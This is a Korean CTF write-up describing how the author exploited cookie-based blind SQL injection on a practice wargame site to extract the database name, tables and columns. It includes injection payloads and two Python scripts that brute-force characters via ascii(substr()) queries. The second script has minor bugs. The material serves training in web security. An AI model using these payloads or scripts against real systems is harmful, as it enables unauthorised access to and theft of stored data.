Wargame/Segfault

SQL Injection Point 1

sniffy-fanta 2025. 5. 30. 00:47

➡️사이트에 들어가서 flag를 찾으면 된다.

 

    • Login버튼이 있었고 누르니 로그인페이지로 이동됐다.
    • messi /123456으로 회원가입을 해줬다.

  • 정상적으로 로그인 시 index.php로 리다이렉션 됐다
  • 이상한값으로 로그인 시 등록되지 않은 사용자입니다 라고 알림이 뜬다.
  • 쿠키를 봤을 때 로그인에 성공하면 그때 쿠키가 설정되고 쿠키값에 저장된 user가 있어야
    로그인 된 index.php를 제공하는 거 같다.

  • messi' and '1'='1 → 로그인 실패
  • messi'# → 로그인 실패
  • messi'''' → 오류 안뜸
  • 일단 취약점이 없다고 판단하고 넘어갔다.

  • 그 다음 마이페이지 쿠키로 user값을 주고 있다
  • 서버에서 쿠키를 이용해 DB와 상호작용 할 수도 있기 때문에 취약점이 있는 지 테스트 해보자

  • messi' and '1'='1 을 넣었더니 messi를 넣었을 때와 같은 응답이 나왔다.

  • messi'# 을 넣었을 때도 messi와 같은 응답이 나오고 출력도 되는 거 같아서 union을 쓰기 위해 컬럼 개수를 찾아봤다.
  • 2개에서 다른 응답이 왔고 컬럼 개수는 1개이다.

  • 바로 union구문을 넣어줬지만 1이 출력된 곳은 없었다.
  • 프론트엔드에서 단순 텍스트를 출력하는 거 같다.
  • 그래도 order by구문을 사용하면서 참/거짓 일 때 응답이 다른 걸 알아냈기 때문에 Blind를 해보자

  • messi' and '1'='1 → 참인 요청의 응답에 Nothing Here... 이 있다.

  • 바로 select문이 되는지 테스트해봤고 정상적으로 되는 걸 확인 후 python으로 자동화 스크립트를 만들었다.
import requests

url = "http://ctf2.segfaulthub.com:7777/sqli_6/mypage.php"
flag = ""

for i in range(1,40):
    found = False
    for ch in range(33,127):
        payload = f"messi' and ascii(substr(database(),{i},1)) = {ch} and '1'='1"
        cookies = {'user': payload, 'PHPSESSID': 'u83v948050j788niick6rm8ug8'}

        res=requests.get(url,cookies=cookies)
        print(f"{i}:{ch} x")


        if "Nothing Here..." in res.text:
            flag += chr(ch)
            print(f"{i}: {ch} -> {flag}")
            found = True
            break

    if not found:
            break


print(f"{flag}")
  • 이제부터 DB획득 → 테이블 획득 → 컬럼획득 → 데이터추출 가보자
  • 많이해서 과정은 생략한다.

➡️DB획득

➡️테이블 획득

➡️두번째 테이블 획득

➡️세번째 테이블 획득

 

for tbl_idx in range(0,5):
    flag=""
    found2=False
    for i in range(1,40):
        found = False
        for ch in range(33,127):
            payload = f"messi' and ascii(substr((select column_name from information_schema.columns where table_name='' limit {tbl_idx},1)
,{i},1)) = {ch} and '1'='1"
            cookies = {'user': payload, 'PHPSESSID': 'pbvl4hg2l16v9g6qmra5spl7k3'}

            res=requests.get(url,cookies=cookies)
            print(f"{tbl_idx+1}:{i}:{ch} x")

            if "Nothing Here..." in res.text:
                flag += chr(ch)
                print(f"{tbl_idx+1}:{i}: {ch} -> {flag}")
                found = True
                found2 = True
                break

        if not found:
                break
        tables.append(flag)

    if not found2:
        break


print(f"목록:{tables}")
  • 너무 귀찮아서 limit도 자동화로 만들고 목록을 그냥 리스트로 만들었다.. 
  • 참고로 작성하면서 세션ID가 초기화 되니까 바꿔줘야된다.
  • 학점은행제 하면서 알고리즘 조금 봤는데 이진탐색이라고 있던데 나중엔 알고리즘 구현을 해봐야겠다..넘 느리다

➡️컬럼들 획득

➡️플래그 획득